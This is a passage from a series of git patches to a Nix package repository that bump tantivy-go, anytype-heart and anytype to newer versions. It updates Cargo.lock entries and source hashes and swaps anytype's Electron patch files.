-+version = "0.2.11"
++version = "0.2.15"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8355be11b20d696c8f18f6cc018c4e372165b1fa8126cef092399c9951984ffa"
++checksum = "f9fbbcab51052fe104eb5e5d351cf728d30a5be1fe14d9be8a3b097481fb97de"
 +
 +[[package]]
 +name = "linux-raw-sys"
@@ -748,7 +764,7 @@ index 0000000..7cb3275
 + "proc-macro-error",
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -757,14 +773,14 @@ index 0000000..7cb3275
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "234cf4f4a04dc1f57e24b96cc0cd600cf2af460d4161ac5ecdd0af8e1f3b2a38"
 +dependencies = [
-+ "hashbrown 0.15.2",
++ "hashbrown 0.15.5",
 +]
 +
 +[[package]]
 +name = "lz4_flex"
-+version = "0.11.3"
++version = "0.11.5"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "75761162ae2b0e580d7e7c390558127e5f01b4194debd6221fd8c207fc80e3f5"
++checksum = "08ab2867e3eeeca90e844d1940eab391c9dc5228783db2ed999acbc0a9ed375a"
 +
 +[[package]]
 +name = "measure_time"
@@ -777,15 +793,15 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "memchr"
-+version = "2.7.4"
++version = "2.7.5"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3"
++checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0"
 +
 +[[package]]
 +name = "memmap2"
-+version = "0.9.5"
++version = "0.9.7"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "fd3f7eed9d3848f8b98834af67102b720745c4ec028fcd0aa0239277e7de374f"
++checksum = "483758ad303d734cec05e5c12b41d7e93e6a6390c5e9dae6bdeb7c1259012d28"
 +dependencies = [
 + "libc",
 +]
@@ -835,6 +851,12 @@ index 0000000..7cb3275
 +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d"
 +
 +[[package]]
++name = "once_cell_polyfill"
++version = "1.70.1"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad"
++
++[[package]]
 +name = "oneshot"
 +version = "0.1.11"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -888,7 +910,7 @@ index 0000000..7cb3275
 + "phf_shared",
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -920,9 +942,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "portable-atomic"
-+version = "1.11.0"
++version = "1.11.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e"
++checksum = "f84267b20a16ea918e43c6a88433c2d54fa145c92a811b5b047ccbe153674483"
 +
 +[[package]]
 +name = "portable-atomic-util"
@@ -945,17 +967,17 @@ index 0000000..7cb3275
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9"
 +dependencies = [
-+ "zerocopy 0.8.24",
++ "zerocopy",
 +]
 +
 +[[package]]
 +name = "prettyplease"
-+version = "0.2.32"
++version = "0.2.36"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "664ec5419c51e34154eec046ebcba56312d5a2fc3b09a06da188e1ad21afadf6"
++checksum = "ff24dfcda44452b9816fff4cd4227e1bb73ff5a2f1bc1105aa92fb8565ce44d2"
 +dependencies = [
 + "proc-macro2",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -1002,9 +1024,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "r-efi"
-+version = "5.2.0"
++version = "5.3.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "74765f6d916ee2faa39bc8e68e4f3ed8949b48cccdac59983d287a7cb71ce9c5"
++checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f"
 +
 +[[package]]
 +name = "rand"
@@ -1033,7 +1055,7 @@ index 0000000..7cb3275
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
 +dependencies = [
-+ "getrandom 0.2.15",
++ "getrandom 0.2.16",
 +]
 +
 +[[package]]
@@ -1127,22 +1149,22 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "rustix"
-+version = "1.0.5"
++version = "1.0.8"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d97817398dd4bb2e6da002002db259209759911da105da92bec29ccb12cf58bf"
++checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8"
 +dependencies = [
 + "bitflags",
 + "errno",
 + "libc",
 + "linux-raw-sys 0.9.4",
-+ "windows-sys 0.59.0",
++ "windows-sys 0.60.2",
 +]
 +
 +[[package]]
 +name = "rustversion"
-+version = "1.0.20"
++version = "1.0.21"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "eded382c5f5f786b989652c49544c4877d9f015cc22e145a5ea8ea66c2921cd2"
++checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
 +
 +[[package]]
 +name = "ryu"
@@ -1167,14 +1189,14 @@ index 0000000..7cb3275
 +dependencies = [
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
 +name = "serde_json"
-+version = "1.0.140"
++version = "1.0.142"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "20068b6e96dc6c9bd23e01df8827e6c7e1f2fddd43c21810382803c136b99373"
++checksum = "030fedb782600dcbd6f02d479bf0d817ac3bb40d644745b769d6a96bc3afc5a7"
 +dependencies = [
 + "itoa",
 + "memchr",
@@ -1184,9 +1206,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "serde_spanned"
-+version = "0.6.8"
++version = "0.6.9"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "87607cb1398ed59d48732e575a4c28a7a8ebf2454b964fe3f224f2afc07909e1"
++checksum = "bf41e0cfaf7226dca15e8197172c295a782857fcb97fad1808a166870dee75a3"
 +dependencies = [
 + "serde",
 +]
@@ -1214,18 +1236,15 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "slab"
-+version = "0.4.9"
++version = "0.4.11"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67"
-+dependencies = [
-+ "autocfg",
-+]
++checksum = "7a2ae44ef20feb57a68b23d846850f861394c2e02dc425a50098ae8c90267589"
 +
 +[[package]]
 +name = "smallvec"
-+version = "1.15.0"
++version = "1.15.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8917285742e9f3e1683f0a9c4e6b57960b7314d0b08d30d1ecd426713ee2eee9"
++checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03"
 +
 +[[package]]
 +name = "stable_deref_trait"
@@ -1251,9 +1270,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "syn"
-+version = "2.0.100"
++version = "2.0.104"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "b09a44accad81e1ba1cd74a32461ba89dee89095ba17b32f5d03683b1b1fc2a0"
++checksum = "17b6f705963418cdb9927482fa304bc562ece2fdd4f616084c50b7023b435a40"
 +dependencies = [
 + "proc-macro2",
 + "quote",
@@ -1426,14 +1445,14 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "tempfile"
-+version = "3.19.1"
++version = "3.20.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7437ac7763b9b123ccf33c338a5cc1bac6f69b45a136c19bdd8a65e3916435bf"
++checksum = "e8a64e3985349f2441a1a9ef0b853f869006c3855f2cda6862a94d26ebb9d6a1"
 +dependencies = [
 + "fastrand",
-+ "getrandom 0.3.2",
++ "getrandom 0.3.3",
 + "once_cell",
-+ "rustix 1.0.5",
++ "rustix 1.0.8",
 + "windows-sys 0.59.0",
 +]
 +
@@ -1454,7 +1473,7 @@ index 0000000..7cb3275
 +dependencies = [
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -1490,9 +1509,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "toml"
-+version = "0.8.20"
++version = "0.8.23"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "cd87a5cdd6ffab733b2f74bc4fd7ee5fff6634124999ac278c35fc78c6120148"
++checksum = "dc1beb996b9d83529a9e75c17a1686767d148d70663143c7854d8b4a09ced362"
 +dependencies = [
 + "serde",
 + "serde_spanned",
@@ -1502,27 +1521,34 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "toml_datetime"
-+version = "0.6.8"
++version = "0.6.11"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0dd7358ecb8fc2f8d014bf86f6f638ce72ba252a2c3a2572f2a795f1d23efb41"
++checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c"
 +dependencies = [
 + "serde",
 +]
 +
 +[[package]]
 +name = "toml_edit"
-+version = "0.22.24"
++version = "0.22.27"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "17b4795ff5edd201c7cd6dca065ae59972ce77d1b80fa0a84d94950ece7d1474"
++checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a"
 +dependencies = [
 + "indexmap",
 + "serde",
 + "serde_spanned",
 + "toml_datetime",
++ "toml_write",
 + "winnow",
 +]
 +
 +[[package]]
++name = "toml_write"
++version = "0.1.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801"
++
++[[package]]
 +name = "unicode-ident"
 +version = "1.0.18"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1548,12 +1574,14 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "uuid"
-+version = "1.16.0"
++version = "1.17.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "458f7a779bf54acc9f347480ac654f68407d3aab21269a6e3c9f922acd9e2da9"
++checksum = "3cf4199d1e5d15ddd86a694e4d0dffa9c323ce759fea589f00fef9d81cc1931d"
 +dependencies = [
-+ "getrandom 0.3.2",
++ "getrandom 0.3.3",
++ "js-sys",
 + "serde",
++ "wasm-bindgen",
 +]
 +
 +[[package]]
@@ -1564,9 +1592,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "wasi"
-+version = "0.11.0+wasi-snapshot-preview1"
++version = "0.11.1+wasi-snapshot-preview1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
++checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
 +
 +[[package]]
 +name = "wasi"
@@ -1578,6 +1606,64 @@ index 0000000..7cb3275
 +]
 +
 +[[package]]
++name = "wasm-bindgen"
++version = "0.2.100"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
++dependencies = [
++ "cfg-if",
++ "once_cell",
++ "rustversion",
++ "wasm-bindgen-macro",
++]
++
++[[package]]
++name = "wasm-bindgen-backend"
++version = "0.2.100"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
++dependencies = [
++ "bumpalo",
++ "log",
++ "proc-macro2",
++ "quote",
++ "syn 2.0.104",
++ "wasm-bindgen-shared",
++]
++
++[[package]]
++name = "wasm-bindgen-macro"
++version = "0.2.100"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
++dependencies = [
++ "quote",
++ "wasm-bindgen-macro-support",
++]
++
++[[package]]
++name = "wasm-bindgen-macro-support"
++version = "0.2.100"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
++dependencies = [
++ "proc-macro2",
++ "quote",
++ "syn 2.0.104",
++ "wasm-bindgen-backend",
++ "wasm-bindgen-shared",
++]
++
++[[package]]
++name = "wasm-bindgen-shared"
++version = "0.2.100"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
++dependencies = [
++ "unicode-ident",
++]
++
++[[package]]
 +name = "winapi"
 +version = "0.3.9"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -1600,12 +1686,18 @@ index 0000000..7cb3275
 +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
 +
 +[[package]]
++name = "windows-link"
++version = "0.1.3"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
++
++[[package]]
 +name = "windows-sys"
 +version = "0.52.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
 +dependencies = [
-+ "windows-targets",
++ "windows-targets 0.52.6",
 +]
 +
 +[[package]]
@@ -1614,7 +1706,16 @@ index 0000000..7cb3275
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
 +dependencies = [
-+ "windows-targets",
++ "windows-targets 0.52.6",
++]
++
++[[package]]
++name = "windows-sys"
++version = "0.60.2"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
++dependencies = [
++ "windows-targets 0.53.3",
 +]
 +
 +[[package]]
@@ -1623,14 +1724,31 @@ index 0000000..7cb3275
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
 +dependencies = [
-+ "windows_aarch64_gnullvm",
-+ "windows_aarch64_msvc",
-+ "windows_i686_gnu",
-+ "windows_i686_gnullvm",
-+ "windows_i686_msvc",
-+ "windows_x86_64_gnu",
-+ "windows_x86_64_gnullvm",
-+ "windows_x86_64_msvc",
++ "windows_aarch64_gnullvm 0.52.6",
++ "windows_aarch64_msvc 0.52.6",
++ "windows_i686_gnu 0.52.6",
++ "windows_i686_gnullvm 0.52.6",
++ "windows_i686_msvc 0.52.6",
++ "windows_x86_64_gnu 0.52.6",
++ "windows_x86_64_gnullvm 0.52.6",
++ "windows_x86_64_msvc 0.52.6",
++]
++
++[[package]]
++name = "windows-targets"
++version = "0.53.3"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91"
++dependencies = [
++ "windows-link",
++ "windows_aarch64_gnullvm 0.53.0",
++ "windows_aarch64_msvc 0.53.0",
++ "windows_i686_gnu 0.53.0",
++ "windows_i686_gnullvm 0.53.0",
++ "windows_i686_msvc 0.53.0",
++ "windows_x86_64_gnu 0.53.0",
++ "windows_x86_64_gnullvm 0.53.0",
++ "windows_x86_64_msvc 0.53.0",
 +]
 +
 +[[package]]
@@ -1640,52 +1758,100 @@ index 0000000..7cb3275
 +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
 +
 +[[package]]
++name = "windows_aarch64_gnullvm"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
++
++[[package]]
 +name = "windows_aarch64_msvc"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
 +
 +[[package]]
++name = "windows_aarch64_msvc"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
++
++[[package]]
 +name = "windows_i686_gnu"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
 +
 +[[package]]
++name = "windows_i686_gnu"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
++
++[[package]]
 +name = "windows_i686_gnullvm"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
 +
 +[[package]]
++name = "windows_i686_gnullvm"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
++
++[[package]]
 +name = "windows_i686_msvc"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
 +
 +[[package]]
++name = "windows_i686_msvc"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
++
++[[package]]
 +name = "windows_x86_64_gnu"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
 +
 +[[package]]
++name = "windows_x86_64_gnu"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
++
++[[package]]
 +name = "windows_x86_64_gnullvm"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
 +
 +[[package]]
++name = "windows_x86_64_gnullvm"
++version = "0.53.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
++
++[[package]]
 +name = "windows_x86_64_msvc"
 +version = "0.52.6"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
 +
 +[[package]]
-+name = "winnow"
-+version = "0.7.6"
++name = "windows_x86_64_msvc"
++version = "0.53.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "63d3fcd9bba44b03821e7d699eeee959f3126dcc4aa8e4ae18ec617c2a5cea10"
++checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
++
++[[package]]
++name = "winnow"
++version = "0.7.12"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "f3edebf492c8125044983378ecb5766203ad3b4c2f7a922bd7dd207f6d443e95"
 +dependencies = [
 + "memchr",
 +]
@@ -1701,42 +1867,22 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "zerocopy"
-+version = "0.7.35"
++version = "0.8.26"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
++checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
 +dependencies = [
-+ "zerocopy-derive 0.7.35",
-+]
-+
-+[[package]]
-+name = "zerocopy"
-+version = "0.8.24"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2586fea28e186957ef732a5f8b3be2da217d65c5969d4b1e17f973ebbe876879"
-+dependencies = [
-+ "zerocopy-derive 0.8.24",
++ "zerocopy-derive",
 +]
 +
 +[[package]]
 +name = "zerocopy-derive"
-+version = "0.7.35"
++version = "0.8.26"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
++checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
 +dependencies = [
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
-+]
-+
-+[[package]]
-+name = "zerocopy-derive"
-+version = "0.8.24"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "a996a8f63c5c4448cd959ac1bab0aaa3306ccfd060472f85943ee0750f0169be"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -1766,6 +1912,3 @@ index 0000000..7cb3275
 + "cc",
 + "pkg-config",
 +]
--- 
-2.48.1
-
diff --git a/pkgs/by-name/ta/tantivy-go/package.nix b/pkgs/by-name/ta/tantivy-go/package.nix
index 44c9037f7ab6..b4c98758213d 100644
--- a/pkgs/by-name/ta/tantivy-go/package.nix
+++ b/pkgs/by-name/ta/tantivy-go/package.nix
@@ -6,16 +6,16 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "tantivy-go";
-  version = "1.0.1";
+  version = "1.0.4";
 
   src = fetchFromGitHub {
     owner = "anyproto";
     repo = "tantivy-go";
     tag = "v${version}";
-    hash = "sha256-iTGIm5C7SMBZv2OcKCQCyEZS/eeMJQ5nFSpuFJbTEXU=";
+    hash = "sha256-ksHw+62JwQrzxLuXwYfTLOkC22Miz1Rpl5XX8+vPBcM=";
   };
 
-  cargoHash = "sha256-f8xI4g6MK4NUn0DpxD+miaCzBe8FSSqaL5rpjoqUGfY=";
+  cargoHash = "sha256-GKbQFWXKEgYmoTyFCQ/SAgFB7UJpYN2SWwZEiUxd260=";
 
   cargoPatches = [
     ./add-Cargo.lock.patch

From 3364bfaef298c421d287b1be91b39f9505b38206 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michal=20Koutensk=C3=BD?= <michal@koutensky.net>
Date: Tue, 27 May 2025 20:23:16 +0200
Subject: [PATCH 4358/4511] anytype-heart: 0.40.21 -> 0.43.0-rc02

(cherry picked from commit 84d4d28d4fc334ed0e5ff35cce0eba69883ee4eb)
---
 pkgs/by-name/an/anytype-heart/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/an/anytype-heart/package.nix b/pkgs/by-name/an/anytype-heart/package.nix
index e3f4bde83b1c..0c04e43d1f03 100644
--- a/pkgs/by-name/an/anytype-heart/package.nix
+++ b/pkgs/by-name/an/anytype-heart/package.nix
@@ -13,12 +13,12 @@ let
   pname = "anytype-heart";
   # Use only versions specified in anytype-ts middleware.version file:
   #  https://github.com/anyproto/anytype-ts/blob/v<anytype-ts-version>/middleware.version
-  version = "0.40.21";
+  version = "0.43.0-rc02";
   src = fetchFromGitHub {
     owner = "anyproto";
     repo = "anytype-heart";
     tag = "v${version}";
-    hash = "sha256-53LSaETzxwhKkI9is6N6G1+f5Cnf7KStvHA9qeaWUNo=";
+    hash = "sha256-hqDwzW1Tl44ipL1EAwlXUoKaQ0Wvfa2rtZMQy4pgQ8k=";
   };
 
   arch =
@@ -36,7 +36,7 @@ in
 buildGoModule {
   inherit pname version src;
 
-  vendorHash = "sha256-WsYRkAIYDkKWkQpq843dD7Rqc993eHSgee2IX6PomcU=";
+  vendorHash = "sha256-Rs+CusvMksyXUplGk09J4CiFgl/D4KtsI9C15dSCjOI=";
 
   subPackages = [ "cmd/grpcserver" ];
   tags = [

From 3fb3c0acb38340e168bcb76c35df11091076c3c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michal=20Koutensk=C3=BD?= <michal@koutensky.net>
Date: Tue, 27 May 2025 20:23:56 +0200
Subject: [PATCH 4359/4511] anytype: 0.46.5 -> 0.49.2

0001-fix-single-instance-detection-when-not-packaged.patch is now included upstream

(cherry picked from commit 327eae33cd776a8bb7f1ab07682edb52a7aa4c56)
---
 ...instance-detection-when-not-packaged.patch | 25 -------------------
 .../anytype/0002-remove-grpc-devtools.patch   | 12 +++++++++
 pkgs/by-name/an/anytype/package.nix           | 12 ++++-----
 3 files changed, 18 insertions(+), 31 deletions(-)
 delete mode 100644 pkgs/by-name/an/anytype/0001-fix-single-instance-detection-when-not-packaged.patch
 create mode 100644 pkgs/by-name/an/anytype/0002-remove-grpc-devtools.patch

diff --git a/pkgs/by-name/an/anytype/0001-fix-single-instance-detection-when-not-packaged.patch b/pkgs/by-name/an/anytype/0001-fix-single-instance-detection-when-not-packaged.patch
deleted file mode 100644
index 6e09070d72eb..000000000000
--- a/pkgs/by-name/an/anytype/0001-fix-single-instance-detection-when-not-packaged.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From 0622b4b5497d8bd923eb0d6dd3f917dfcbda9d53 Mon Sep 17 00:00:00 2001
-From: Axel Karjalainen <axel@axka.fi>
-Date: Thu, 22 May 2025 22:38:14 +0300
-Subject: [PATCH] fix: single instance detection when not packaged
-
----
- electron.js | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/electron.js b/electron.js
-index d70f20f..158bb93 100644
---- a/electron.js
-+++ b/electron.js
-@@ -76,7 +76,7 @@ if (is.development && !port) {
- 	return;
- };
- 
--if (app.isPackaged && !app.requestSingleInstanceLock()) {
-+if (!is.development && !app.requestSingleInstanceLock()) {
- 	Api.exit(mainWindow, '' ,false);
- 	return;
- };
--- 
-2.49.0
-
diff --git a/pkgs/by-name/an/anytype/0002-remove-grpc-devtools.patch b/pkgs/by-name/an/anytype/0002-remove-grpc-devtools.patch
new file mode 100644
index 000000000000..b0dad3b73d7b
--- /dev/null
+++ b/pkgs/by-name/an/anytype/0002-remove-grpc-devtools.patch
@@ -0,0 +1,12 @@
+diff --git a/electron.js b/electron.js
+index c5d6760882..17afc05e26 100644
+--- a/electron.js
++++ b/electron.js
+@@ -15,7 +15,6 @@ const store = new Store({ name: [ 'localStorage', suffix ].join('-') });
+ 
+ // gRPC DevTools extension ID
+ const GRPC_DEVTOOLS_ID = 'fohdnlaeecihjiendkfhifhlgldpeopm';
+-const { installExtension } = require('@tomjs/electron-devtools-installer');
+ 
+ // Fix notifications app name
+ if (is.windows) {
diff --git a/pkgs/by-name/an/anytype/package.nix b/pkgs/by-name/an/anytype/package.nix
index d59a40637481..9cf0ecc60314 100644
--- a/pkgs/by-name/an/anytype/package.nix
+++ b/pkgs/by-name/an/anytype/package.nix
@@ -13,27 +13,27 @@
 
 let
   pname = "anytype";
-  version = "0.46.5";
+  version = "0.49.2";
 
   src = fetchFromGitHub {
     owner = "anyproto";
     repo = "anytype-ts";
     tag = "v${version}";
-    hash = "sha256-gDlxyHxBLWVBLnaI6rFclfjwqkw9gneBEC7ssmWDKYU=";
+    hash = "sha256-8+x2FmyR5x9Zrm3t71RSyxAKcJCvnR98+fqHXjBE7aU=";
   };
   description = "P2P note-taking tool";
 
   locales = fetchFromGitHub {
     owner = "anyproto";
     repo = "l10n-anytype-ts";
-    rev = "1d7ca0073bdd02d0145b8da3b1b956ca0652a108";
-    hash = "sha256-aL79DOIFH3CocbcLW0SJ472mYPZJXrPJyRKy8zXiF4o=";
+    rev = "873b42df7320ebbbc80d7e2477914dac70363ef7";
+    hash = "sha256-Mr0KfXn9NO86QqgBhVjSs2przN/GtjuhJHJ9djo8Feg=";
   };
 in
 buildNpmPackage {
   inherit pname version src;
 
-  npmDepsHash = "sha256-WEw3RCi7dWs2eMYxLH7DcmWBrN4T8T6beIyplcXgJAA=";
+  npmDepsHash = "sha256-fuNTSZl+4DG/YL34f/+bYK26ruRFAc1hyHVAm256LiE=";
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
@@ -52,7 +52,7 @@ buildNpmPackage {
 
   patches = [
     ./0001-feat-update-Disable-auto-checking-for-updates-and-updating-manually.patch
-    ./0001-fix-single-instance-detection-when-not-packaged.patch
+    ./0002-remove-grpc-devtools.patch
   ];
 
   buildPhase = ''

From bc8fcb18875992ae028642415e4f25c520bc5ead Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 20:25:58 -0400
Subject: [PATCH 4360/4511] anytype: mark as broken on darwin

(cherry picked from commit 518b5ba83d6234de804cd9a0e0f06c58edb1066f)
---
 pkgs/by-name/an/anytype/package.nix | 2 ++
 1 file changed, 2 insertions(+)

